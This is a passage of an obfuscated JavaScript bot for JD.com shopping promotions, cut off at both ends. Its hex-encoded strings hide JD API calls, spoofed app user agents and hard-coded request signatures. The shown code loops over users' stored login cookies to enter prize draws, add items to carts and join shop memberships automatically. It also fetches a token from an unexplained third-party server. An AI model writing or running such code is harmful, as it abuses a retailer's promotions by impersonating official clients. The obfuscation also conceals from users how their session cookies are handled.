7\x78\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x61\x64\x64\x43\x61\x72\x74","\x26\x70\x72\x6F\x64\x75\x63\x74\x49\x64\x3D","\x2F\x77\x78\x43\x6F\x6C\x6C\x65\x63\x74\x69\x6F\x6E\x41\x63\x74\x69\x76\x69\x74\x79\x2F\x67\x65\x74\x50\x72\x69\x7A\x65","\u9519\u8BEF","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\u6B64\x69\x70\u5DF2\u88AB\u9650\u5236\uFF0C\u8BF7\u8FC7\x31\x30\u5206\u949F\u540E\u518D\u6267\u884C\u811A\u672C\x0A","\x74\x6F\x53\x74\x72","\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\x70\x6F\x73\x74","\x61\x63\x63\x65\x73\x73\x4C\x6F\x67\x57\x69\x74\x68\x41\x44","\x64\x72\x61\x77\x43\x6F\x6E\x74\x65\x6E\x74","\x70\x61\x72\x73\x65","\x20\u6267\u884C\u4EFB\u52A1\u5F02\u5E38","\x72\x75\x6E\x46\x61\x6C\x61\x67","\x6F\x62\x6A\x65\x63\x74","\x65\x72\x72\x63\x6F\x64\x65","\x74\x6F\x6B\x65\x6E","\x6D\x65\x73\x73\x61\x67\x65","\x69\x73\x76\x4F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x20","\x72\x65\x73\x75\x6C\x74","\x64\x61\x74\x61","\x6A\x64\x41\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x73\x68\x6F\x70\x49\x64","\x73\x65\x63\x72\x65\x74\x50\x69\x6E","\x74\x6F\x75\x78\x69\x61\x6E\x67\x49\x6D\x67","\x79\x75\x6E\x4D\x69\x64\x49\x6D\x61\x67\x65\x55\x72\x6C","\x61\x63\x63\x65\x73\x73\x4C\x6F\x67\x3A","\x6E\x65\x77\x46\x6F\x6C\x6C\x6F\x77\x53\x68\x6F\x70\x3A","\x68\x61\x73\x41\x64\x64\x43\x61\x72\x74\x53\x69\x7A\x65\x3A","\x64\x72\x61\x77\x4E\x61\x6D\x65","\u7A7A\u6C14","\u62BD\u5956\u7ED3\u679C\x3A","\u62BD\u5956\u7ED3\u679C\x3A\u7A7A\u6C14","\x2D\x3E\x20","\x65\x72\x72\x6F\x72\x4D\x65\x73\x73\x61\x67\x65","\u706B\u7206","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x6A\x73\x6F\x6E","\x67\x7A\x69\x70\x2C\x20\x64\x65\x66\x6C\x61\x74\x65\x2C\x20\x62\x72","\x7A\x68\x2D\x63\x6E","\x6B\x65\x65\x70\x2D\x61\x6C\x69\x76\x65","\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x2D\x77\x77\x77\x2D\x66\x6F\x72\x6D\x2D\x75\x72\x6C\x65\x6E\x63\x6F\x64\x65\x64","\x55\x41","\x58\x4D\x4C\x48\x74\x74\x70\x52\x65\x71\x75\x65\x73\x74","\x52\x65\x66\x65\x72\x65\x72","\x43\x6F\x6F\x6B\x69\x65","\x41\x55\x54\x48\x5F\x43\x5F\x55\x53\x45\x52\x3D","\x74\x65\x78\x74\x2F\x68\x74\x6D\x6C\x2C\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x68\x74\x6D\x6C\x2B\x78\x6D\x6C\x2C\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x78\x6D\x6C\x3B\x71\x3D\x30\x2E\x39\x2C\x69\x6D\x61\x67\x65\x2F\x61\x76\x69\x66\x2C\x69\x6D\x61\x67\x65\x2F\x77\x65\x62\x70\x2C\x69\x6D\x61\x67\x65\x2F\x61\x70\x6E\x67\x2C\x69\x6D\x61\x67\x65\x2F\x74\x70\x67\x2C\x2A\x2F\x2A\x3B\x71\x3D\x30\x2E\x38\x2C\x61\x70\x70\x6C\x69\x63\x61\x74\x69\x6F\x6E\x2F\x73\x69\x67\x6E\x65\x64\x2D\x65\x78\x63\x68\x61\x6E\x67\x65\x3B\x76\x3D\x62\x33\x3B\x71\x3D\x30\x2E\x39","\x63\x6F\x6D\x2E\x6A\x69\x6E\x67\x64\x6F\x6E\x67\x2E\x61\x70\x70\x2E\x6D\x61\x6C\x6C","\x20\x63\x6F\x6F\x6B\x69\x65\x20\x41\x50\x49\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF\u91CD\u8BD5","\u6D3B\u52A8\u5DF2\u7ED3\u675F","\x67\x65\x74","\x72\x65\x61\x6C\x41\x63\x74\x69\x76\x69\x74\x79\x55\x52\x4C","\x73\x65\x74\x2D\x63\x6F\x6F\x6B\x69\x65","\x68\x65\x61\x64\x65\x72\x73","\x3B","\x3D","\x73\x70\x6C\x69\x74","\x73\x75\x62\x73\x74\x72","\x6A\x64\x61\x70\x70\x3B\x69\x50\x68\x6F\x6E\x65\x3B\x31\x30\x2E\x34\x2E\x36\x3B\x31\x33\x2E\x31\x2E\x32\x3B","\x3B\x6E\x65\x74\x77\x6F\x72\x6B\x2F\x77\x69\x66\x69\x3B\x6D\x6F\x64\x65\x6C\x2F\x69\x50\x68\x6F\x6E\x65\x38\x2C\x31\x3B\x61\x64\x64\x72\x65\x73\x73\x69\x64\x2F\x32\x33\x30\x38\x34\x36\x30\x36\x31\x31\x3B\x61\x70\x70\x42\x75\x69\x6C\x64\x2F\x31\x36\x37\x38\x31\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20\x31\x33\x5F\x31\x5F\x32\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x3B\x73\x75\x70\x70\x6F\x72\x74\x4A\x44\x53\x48\x57\x4B\x2F\x31","\x61\x62\x63\x64\x65\x66\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x66\x6C\x6F\x6F\x72","\x63\x68\x61\x72\x41\x74","\x73\x74\x72\x69\x6E\x67","\u8BF7\u52FF\u968F\u610F\u5728\x42\x6F\x78\x4A\x73\u8F93\u5165\u6846\u4FEE\u6539\u5185\u5BB9\x0A\u5EFA\u8BAE\u901A\u8FC7\u811A\u672C\u53BB\u83B7\u53D6\x63\x6F\x6F\x6B\x69\x65","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x6D\x65\x2D\x61\x70\x69\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x75\x73\x65\x72\x5F\x6E\x65\x77\x2F\x69\x6E\x66\x6F\x2F\x47\x65\x74\x4A\x44\x55\x73\x65\x72\x49\x6E\x66\x6F\x55\x6E\x69\x6F\x6E","\x6D\x65\x2D\x61\x70\x69\x2E\x6A\x64\x2E\x63\x6F\x6D","\x2A\x2F\x2A","\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x69\x50\x68\x6F\x6E\x65\x3B\x20\x43\x50\x55\x20\x69\x50\x68\x6F\x6E\x65\x20\x4F\x53\x20\x31\x34\x5F\x33\x20\x6C\x69\x6B\x65\x20\x4D\x61\x63\x20\x4F\x53\x20\x58\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x36\x30\x35\x2E\x31\x2E\x31\x35\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x31\x34\x2E\x30\x2E\x32\x20\x4D\x6F\x62\x69\x6C\x65\x2F\x31\x35\x45\x31\x34\x38\x20\x53\x61\x66\x61\x72\x69\x2F\x36\x30\x34\x2E\x31","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x68\x6F\x6D\x65\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x6D\x79\x4A\x64\x2F\x6E\x65\x77\x68\x6F\x6D\x65\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x73\x63\x65\x6E\x65\x76\x61\x6C\x3D\x32\x26\x75\x66\x63\x3D\x26","\x72\x65\x74\x63\x6F\x64\x65","\x31\x30\x30\x31","\x30","\x75\x73\x65\x72\x49\x6E\x66\x6F","\x68\x61\x73\x4F\x77\x6E\x50\x72\x6F\x70\x65\x72\x74\x79","\x6E\x69\x63\x6B\x6E\x61\x6D\x65","\x62\x61\x73\x65\x49\x6E\x66\x6F","\u4EAC\u4E1C\u8FD4\u56DE\u4E86\u7A7A\u6570\u636E","\x68\x74\x74\x70\x3A\x2F\x2F\x68\x7A\x2E\x66\x65\x76\x65\x72\x72\x75\x6E\x2E\x74\x6F\x70\x3A\x39\x39\x2F\x73\x68\x61\x72\x65\x2F\x63\x61\x72\x64\x2F\x67\x65\x74\x54\x6F\x6B\x65\x6E\x3F\x74\x79\x70\x65\x3D\x63\x6A\x68\x79","\x6A\x64\x61\x70\x70\x3B\x61\x6E\x64\x72\x6F\x69\x64\x3B\x31\x31\x2E\x31\x2E\x34\x3B\x6A\x64\x53\x75\x70\x70\x6F\x72\x74\x44\x61\x72\x6B\x20\x4D\x6F\x64\x65\x2F\x30\x3B\x4D\x6F\x7A\x69\x6C\x6C\x61\x2F\x35\x2E\x30\x20\x28\x4C\x69\x6E\x75\x78\x3B\x20\x41\x6E\x64\x72\x6F\x69\x64\x20\x31\x30\x3B\x20\x50\x43\x43\x4D\x30\x30\x20\x42\x75\x69\x6C\x64\x2F\x51\x4B\x51\x31\x2E\x31\x39\x31\x30\x32\x31\x2E\x30\x30\x32\x3B\x20\x77\x76\x29\x20\x41\x70\x70\x6C\x65\x57\x65\x62\x4B\x69\x74\x2F\x35\x33\x37\x2E\x33\x36\x20\x28\x4B\x48\x54\x4D\x4C\x2C\x20\x6C\x69\x6B\x65\x20\x47\x65\x63\x6B\x6F\x29\x20\x56\x65\x72\x73\x69\x6F\x6E\x2F\x34\x2E\x30\x20\x43\x68\x72\x6F\x6D\x65\x2F\x38\x39\x2E\x30\x2E\x34\x33\x38\x39\x2E\x37\x32\x20\x4D\x51\x51\x42\x72\x6F\x77\x73\x65\x72\x2F\x36\x2E\x32\x20\x54\x42\x53\x2F\x30\x34\x36\x30\x31\x31\x20\x4D\x6F\x62\x69\x6C\x65\x20\x53\x61\x66\x61\x72\x69\x2F\x35\x33\x37\x2E\x33\x36","\u8BF7\u6C42\u5931\u8D25\uFF0C\u8BF7\u68C0\u67E5\u7F51\u8DEF","\x63\x6F\x64\x65","\x73\x68\x6F\x70\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64","\x2C\x22\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64\x22\x3A","\x7B\x22\x76\x65\x6E\x64\x65\x72\x49\x64\x22\x3A\x22","\x22\x2C\x22\x62\x69\x6E\x64\x42\x79\x56\x65\x72\x69\x66\x79\x43\x6F\x64\x65\x46\x6C\x61\x67\x22\x3A\x31\x2C\x22\x72\x65\x67\x69\x73\x74\x65\x72\x45\x78\x74\x65\x6E\x64\x22\x3A\x7B\x7D\x2C\x22\x77\x72\x69\x74\x65\x43\x68\x69\x6C\x64\x46\x6C\x61\x67\x22\x3A\x30","\x2C\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x34\x30\x31\x7D","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x61\x70\x70\x69\x64\x3D\x6A\x64\x5F\x73\x68\x6F\x70\x5F\x6D\x65\x6D\x62\x65\x72\x26\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x62\x69\x6E\x64\x57\x69\x74\x68\x56\x65\x6E\x64\x65\x72\x26\x62\x6F\x64\x79\x3D","\x26\x63\x6C\x69\x65\x6E\x74\x56\x65\x72\x73\x69\x6F\x6E\x3D\x39\x2E\x32\x2E\x30\x26\x63\x6C\x69\x65\x6E\x74\x3D\x48\x35\x26\x75\x75\x69\x64\x3D\x38\x38\x38\x38\x38\x26\x68\x35\x73\x74\x3D","\x7A\x68\x2D\x43\x4E\x2C\x7A\x68\x3B\x71\x3D\x30\x2E\x39\x2C\x65\x6E\x2D\x55\x53\x3B\x71\x3D\x30\x2E\x38\x2C\x65\x6E\x3B\x71\x3D\x30\x2E\x37","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x73\x68\x6F\x70\x6D\x65\x6D\x62\x65\x72\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F","\x74\x6F\x4F\x62\x6A","\x73\x75\x63\x63\x65\x73\x73","\x67\x69\x66\x74\x49\x6E\x66\x6F","\x67\x69\x66\x74\x4C\x69\x73\x74","\u5165\u4F1A\u83B7\u5F97\x3A","\x64\x69\x73\x63\x6F\x75\x6E\x74\x53\x74\x72\x69\x6E\x67","\x70\x72\x69\x7A\x65\x4E\x61\x6D\x65","\x73\x65\x63\x6F\x6E\x64\x4C\x69\x6E\x65\x44\x65\x73\x63","\x22\x2C\x22\x63\x68\x61\x6E\x6E\x65\x6C\x22\x3A\x34\x30\x31\x2C\x22\x70\x61\x79\x55\x70\x53\x68\x6F\x70\x22\x3A\x74\x72\x75\x65\x2C\x22\x71\x75\x65\x72\x79\x56\x65\x72\x73\x69\x6F\x6E\x22\x3A\x22\x31\x30\x2E\x35\x2E\x32\x22\x7D","\x79\x79\x79\x79\x4D\x4D\x64\x64\x68\x68\x6D\x6D\x73\x73\x53\x53\x53","\x6E\x6F\x77","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x37\x31\x34\x31\x31\x61\x39\x65\x31\x38\x6E\x38\x6A\x6D\x6D\x44\x4B\x48\x4D\x35\x71\x59\x32\x47\x51\x45\x48\x4E\x38\x4D\x45\x44\x6E\x78\x6E\x4D\x4E\x42\x56\x55\x47\x56\x49\x74\x52\x65\x65\x54\x33\x30\x46\x78\x41\x33\x4E\x49\x6F\x49\x6A\x71\x70\x57\x54\x37\x54\x65\x38\x62\x46\x33\x37\x46\x4A\x32\x57\x2B\x57\x7A\x69\x69\x78\x4C\x48\x68\x46\x30\x31\x3B\x33\x39\x32\x63\x66\x39\x62\x61\x64\x65\x34\x65\x31\x62\x30\x32\x65\x36\x66\x61\x38\x33\x63\x31\x64\x34\x37\x64\x37\x66\x31\x32\x34\x35\x65\x35\x61\x37\x61\x65\x39\x65\x62\x39\x32\x36\x34\x35\x31\x34\x32\x32\x37\x61\x64\x36\x66\x39\x33\x35\x64\x66\x39\x65\x3B\x33\x2E\x30\x3B","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x61\x70\x69\x2E\x6D\x2E\x6A\x64\x2E\x63\x6F\x6D\x2F\x63\x6C\x69\x65\x6E\x74\x2E\x61\x63\x74\x69\x6F\x6E\x3F\x61\x70\x70\x69\x64\x3D\x6A\x64\x5F\x73\x68\x6F\x70\x5F\x6D\x65\x6D\x62\x65\x72\x26\x66\x75\x6E\x63\x74\x69\x6F\x6E\x49\x64\x3D\x67\x65\x74\x53\x68\x6F\x70\x4F\x70\x65\x6E\x43\x61\x72\x64\x49\x6E\x66\x6F\x26\x62\x6F\x64\x79\x3D","\u5165\u4F1A\x3A","\x76\x65\x6E\x64\x65\x72\x43\x61\x72\x64\x4E\x61\x6D\x65","\x73\x68\x6F\x70\x4D\x65\x6D\x62\x65\x72\x43\x61\x72\x64\x49\x6E\x66\x6F","\x69\x6E\x74\x65\x72\x65\x73\x74\x73\x52\x75\x6C\x65\x4C\x69\x73\x74","\x69\x6E\x74\x65\x72\x65\x73\x74\x73\x49\x6E\x66\x6F","\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39","\x73\x6C\x69\x63\x65","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x39\x39\x62\x63\x31\x62\x39\x38\x31\x38\x6E\x38\x75\x46\x68\x52\x38\x6B\x73\x33\x72\x79\x51\x57\x4D\x4F\x5A\x7A\x6A\x70\x44\x56\x43\x49\x4E\x4A\x4A\x48\x38\x61\x50\x30\x79\x32\x52\x57\x46\x4C\x69\x4A\x42\x6D\x4C\x6B\x33\x5A\x37\x6A\x39\x72\x68\x6D\x35\x63\x6A\x37\x44\x4E\x30\x77\x39\x6D\x49\x48\x65\x73\x71\x6F\x6D\x75\x30\x42\x34\x36\x68\x30\x68\x3B\x35\x61\x62\x35\x65\x66\x64\x35\x64\x63\x37\x63\x33\x64\x35\x32\x64\x64\x31\x39\x61\x38\x65\x61\x61\x62\x63\x37\x62\x63\x39\x39\x63\x31\x62\x39\x64\x62\x38\x30\x30\x61\x34\x32\x30\x38\x62\x61\x31\x31\x34\x32\x63\x38\x61\x37\x63\x37\x62\x66\x38\x35\x32\x65\x3B\x33\x2E\x30\x3B","\x3B\x31\x36\x39\x66\x31\x3B\x74\x6B\x30\x32\x77\x63\x30\x66\x39\x31\x63\x38\x61\x31\x38\x6E\x76\x57\x56\x4D\x47\x72\x51\x4F\x31\x69\x46\x6C\x70\x51\x72\x65\x32\x53\x68\x32\x6D\x47\x74\x4E\x72\x6F\x31\x6C\x30\x55\x70\x5A\x71\x47\x4C\x52\x62\x48\x69\x79\x71\x66\x61\x55\x51\x61\x50\x79\x36\x34\x57\x54\x37\x75\x7A\x37\x45\x2F\x67\x75\x6A\x47\x41\x42\x35\x30\x6B\x79\x4F\x37\x68\x77\x42\x79\x57\x4B\x3B\x37\x37\x63\x38\x61\x30\x35\x65\x36\x61\x36\x36\x66\x61\x65\x65\x64\x30\x30\x65\x34\x65\x32\x38\x30\x61\x64\x38\x63\x34\x30\x66\x61\x62\x36\x30\x37\x32\x33\x62\x35\x62\x35\x36\x31\x32\x33\x30\x33\x38\x30\x65\x62\x34\x30\x37\x65\x31\x39\x33\x35\x34\x66\x37\x3B\x33\x2E\x30\x3B","\x3B\x65\x66\x37\x39\x61\x3B\x74\x6B\x30\x32\x77\x39\x32\x36\x33\x31\x62\x66\x61\x31\x38\x6E\x68\x44\x34\x75\x62\x66\x33\x51\x66\x4E\x69\x55\x38\x45\x44\x32\x50\x49\x32\x37\x30\x79\x67\x73\x6E\x2B\x76\x61\x6D\x75\x42\x51\x68\x30\x6C\x56\x45\x36\x76\x37\x55\x41\x77\x63\x6B\x7A\x33\x73\x32\x4F\x74\x6C\x46\x45\x66\x74\x68\x35\x4C\x62\x51\x64\x57\x4F\x50\x4E\x76\x50\x45\x59\x48\x75\x55\x32\x54\x77\x3B\x30\x66\x33\x36\x64\x64\x64\x65\x66\x66\x33\x66\x38\x37\x38\x36\x36\x36\x33\x62\x35\x30\x62\x62\x33\x34\x36\x36\x35\x63\x34\x65\x39\x64\x36\x30\x38\x35\x39\x66\x38\x66\x62\x65\x38\x32\x32\x66\x62\x35\x35\x66\x64\x30\x32\x65\x64\x32\x65\x38\x34\x66\x64\x32\x3B\x33\x2E\x30\x3B","\x46\x6F\x72\x6D\x61\x74","\x70\x72\x6F\x74\x6F\x74\x79\x70\x65","\x67\x65\x74\x4D\x6F\x6E\x74\x68","\x67\x65\x74\x44\x61\x74\x65","\x67\x65\x74\x48\x6F\x75\x72\x73","\x67\x65\x74\x4D\x69\x6E\x75\x74\x65\x73","\x67\x65\x74\x53\x65\x63\x6F\x6E\x64\x73","\x67\x65\x74\x44\x61\x79","\x67\x65\x74\x4D\x69\x6C\x6C\x69\x73\x65\x63\x6F\x6E\x64\x73","\x74\x65\x73\x74","\x24\x31","\x67\x65\x74\x46\x75\x6C\x6C\x59\x65\x61\x72","\x63\x6F\x6E\x63\x61\x74","\x72\x65\x70\x6C\x61\x63\x65","\x29","\x28","\x53\x2B","\x30\x30\x30","\x30\x30","\x68\x72\x65\x66","\x28\x5E\x7C\x5B\x26\x3F\x5D\x29","\x3D\x28\x5B\x5E\x26\x5D\x2A\x29\x28\x26\x7C\x24\x29","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];let cookiesArr=[],cookie=__Oxe8e4a[0x0];let jd_cjhy_wxCollectionActivityId=process[__Oxe8e4a[0x2]][__Oxe8e4a[0x1]]?process[__Oxe8e4a[0x2]][__Oxe8e4a[0x1]]:__Oxe8e4a[0x0];let jd_cjhy_wxCollectionActivity_num=parseInt(process[__Oxe8e4a[0x2]][__Oxe8e4a[0x3]])?parseInt(process[__Oxe8e4a[0x2]][__Oxe8e4a[0x3]]):10;let jd_wxCollectionActivity_openCard=parseInt(process[__Oxe8e4a[0x2]][__Oxe8e4a[0x4]])?parseInt(process[__Oxe8e4a[0x2]][__Oxe8e4a[0x4]]):0;if($[__Oxe8e4a[0x5]]()){Object[__Oxe8e4a[0x8]](jdCookieNode)[__Oxe8e4a[0x7]]((_0x99e4x6)=>{cookiesArr[__Oxe8e4a[0x6]](jdCookieNode[_0x99e4x6])});if(process[__Oxe8e4a[0x2]][__Oxe8e4a[0x9]]&& process[__Oxe8e4a[0x2]][__Oxe8e4a[0x9]]=== __Oxe8e4a[0xa]){console[__Oxe8e4a[0xb]]= ()=>{}}}else {cookiesArr= [$[__Oxe8e4a[0xe]](__Oxe8e4a[0xd]),$[__Oxe8e4a[0xe]](__Oxe8e4a[0xf]),...jsonParse($[__Oxe8e4a[0xe]](__Oxe8e4a[0x12])|| __Oxe8e4a[0x13])[__Oxe8e4a[0x11]]((_0x99e4x6)=>{return _0x99e4x6[__Oxe8e4a[0x10]]})][__Oxe8e4a[0xc]]((_0x99e4x6)=>{return !!_0x99e4x6})};allMessage= __Oxe8e4a[0x0],message= __Oxe8e4a[0x0];$[__Oxe8e4a[0x14]]= false;$[__Oxe8e4a[0x15]]= false;$[__Oxe8e4a[0x16]]= false;let lz_jdpin_token_cookie=__Oxe8e4a[0x0];let activityCookie=__Oxe8e4a[0x0];let lz_cookie={};$[__Oxe8e4a[0x17]]= [];!(async ()=>{if(!cookiesArr[0x0]){$[__Oxe8e4a[0x1f]]($[__Oxe8e4a[0x1c]],__Oxe8e4a[0x1d],__Oxe8e4a[0x1e],{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe8e4a[0x1e]});return};if(!jd_cjhy_wxCollectionActivityId){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x20]}`);return};$[__Oxe8e4a[0x21]]= jd_cjhy_wxCollectionActivityId;$[__Oxe8e4a[0x22]]= $[__Oxe8e4a[0x21]];console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x23]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x0]}`);console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x24]}${$[__Oxe8e4a[0x22]]}${__Oxe8e4a[0x25]}${$[__Oxe8e4a[0x21]]}${__Oxe8e4a[0x0]}`);for(let _0x99e4xb=0;_0x99e4xb< cookiesArr[__Oxe8e4a[0x26]];_0x99e4xb++){cookie= cookiesArr[_0x99e4xb];originCookie= cookiesArr[_0x99e4xb];if(cookie){$[__Oxe8e4a[0x27]]= decodeURIComponent(cookie[__Oxe8e4a[0x28]](/pt_pin=([^; ]+)(?=;?)/)&& cookie[__Oxe8e4a[0x28]](/pt_pin=([^; ]+)(?=;?)/)[0x1]);$[__Oxe8e4a[0x29]]= _0x99e4xb+ 1;message= __Oxe8e4a[0x0];$[__Oxe8e4a[0x2a]]= 0;$[__Oxe8e4a[0x14]]= false;$[__Oxe8e4a[0x2b]]= __Oxe8e4a[0x0];$[__Oxe8e4a[0x2c]]= true; await checkCookie();console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x2d]}${$[__Oxe8e4a[0x29]]}${__Oxe8e4a[0x2e]}${$[__Oxe8e4a[0x2b]]|| $[__Oxe8e4a[0x27]]}${__Oxe8e4a[0x2f]}`);if(!$[__Oxe8e4a[0x2c]]){$[__Oxe8e4a[0x1f]]($[__Oxe8e4a[0x1c]],`${__Oxe8e4a[0x30]}`,`${__Oxe8e4a[0x31]}${$[__Oxe8e4a[0x29]]}${__Oxe8e4a[0x32]}${$[__Oxe8e4a[0x2b]]|| $[__Oxe8e4a[0x27]]}${__Oxe8e4a[0x33]}`,{"\x6F\x70\x65\x6E\x2D\x75\x72\x6C":__Oxe8e4a[0x34]});if($[__Oxe8e4a[0x5]]()){};continue}; await getUA();try{ await run()}catch(e){console[__Oxe8e4a[0xb]](e)};if($[__Oxe8e4a[0x29]]>= jd_cjhy_wxCollectionActivity_num){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x35]}${jd_cjhy_wxCollectionActivity_num}${__Oxe8e4a[0x36]}`);break};if($[__Oxe8e4a[0x15]]|| $[__Oxe8e4a[0x16]]){break}}};if($[__Oxe8e4a[0x15]]){let _0x99e4xc=__Oxe8e4a[0x37];$[__Oxe8e4a[0x1f]]($[__Oxe8e4a[0x1c]],`${__Oxe8e4a[0x0]}`,`${__Oxe8e4a[0x0]}${_0x99e4xc}${__Oxe8e4a[0x0]}`);if($[__Oxe8e4a[0x5]]()){ await notify[__Oxe8e4a[0x38]](`${__Oxe8e4a[0x0]}${$[__Oxe8e4a[0x1c]]}${__Oxe8e4a[0x0]}`,`${__Oxe8e4a[0x0]}${_0x99e4xc}${__Oxe8e4a[0x0]}`)}}})()[__Oxe8e4a[0x1b]]((_0x99e4xa)=>{return $[__Oxe8e4a[0x1a]](_0x99e4xa)})[__Oxe8e4a[0x19]](()=>{return $[__Oxe8e4a[0x18]]()});async function run(){try{lz_jdpin_token_cookie= __Oxe8e4a[0x0];$[__Oxe8e4a[0x39]]= __Oxe8e4a[0x0];$[__Oxe8e4a[0x3a]]= __Oxe8e4a[0x0];$[__Oxe8e4a[0x16]]= false;let _0x99e4xe=false; await takePostRequest(__Oxe8e4a[0x3b]);if($[__Oxe8e4a[0x39]]== __Oxe8e4a[0x0]){console[__Oxe8e4a[0xb]](__Oxe8e4a[0x3c]);return}; await getCk();if($[__Oxe8e4a[0x16]]== true){return};if(activityCookie== __Oxe8e4a[0x0]){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x3d]}`);return}; await takePostRequest(__Oxe8e4a[0x3e]); await takePostRequest(__Oxe8e4a[0x3f]);if(!$[__Oxe8e4a[0x3a]]){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x40]}`);return}; await takePostRequest(__Oxe8e4a[0x41]);if($[__Oxe8e4a[0x29]]== 1){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x42]}${$[__Oxe8e4a[0x43]]}${__Oxe8e4a[0x0]}`)}; await takePostRequest(__Oxe8e4a[0x44]);if($[__Oxe8e4a[0x29]]== 1){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x45]}${$[__Oxe8e4a[0x46]]}${__Oxe8e4a[0x47]}${$[__Oxe8e4a[0x48]]}${__Oxe8e4a[0x0]}`)}; await takePostRequest(__Oxe8e4a[0x49]); await takePostRequest(__Oxe8e4a[0x4a]); await takePostRequest(__Oxe8e4a[0x4b]); await $[__Oxe8e4a[0x4c]](500);if($[__Oxe8e4a[0x4d]]== false){if(jd_wxCollectionActivity_openCard== 1){console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x4e]}${$[__Oxe8e4a[0x48]]}${__Oxe8e4a[0x0]}`);_0x99e4xe= true;$[__Oxe8e4a[0x4f]]= $[__Oxe8e4a[0x48]]; await joinShop();if($[__Oxe8e4a[0x52]][__Oxe8e4a[0x51]](__Oxe8e4a[0x50])> -1|| $[__Oxe8e4a[0x52]][__Oxe8e4a[0x51]](__Oxe8e4a[0x53])> -1){console[__Oxe8e4a[0xb]](__Oxe8e4a[0x54]); await $[__Oxe8e4a[0x4c]](parseInt(Math[__Oxe8e4a[0x55]]()* 700+ 700,10)); await joinShop()};if($[__Oxe8e4a[0x52]][__Oxe8e4a[0x51]](__Oxe8e4a[0x50])> -1|| $[__Oxe8e4a[0x52]][__Oxe8e4a[0x51]](__Oxe8e4a[0x53])> -1){console[__Oxe8e4a[0xb]](__Oxe8e4a[0x56]); await $[__Oxe8e4a[0x4c]](parseInt(Math[__Oxe8e4a[0x55]]()* 800+ 800,10)); await joinShop()};if($[__Oxe8e4a[0x52]][__Oxe8e4a[0x51]](__Oxe8e4a[0x50])> -1|| $[__Oxe8e4a[0x52]][__Oxe8e4a[0x51]](__Oxe8e4a[0x53])> -1){console[__Oxe8e4a[0xb]](__Oxe8e4a[0x57]); await $[__Oxe8e4a[0x4c]](parseInt(Math[__Oxe8e4a[0x55]]()* 900+ 900,10)); await joinShop()}}else {console[__Oxe8e4a[0xb]](`${__Oxe8e4a[0x58]}`)}}else 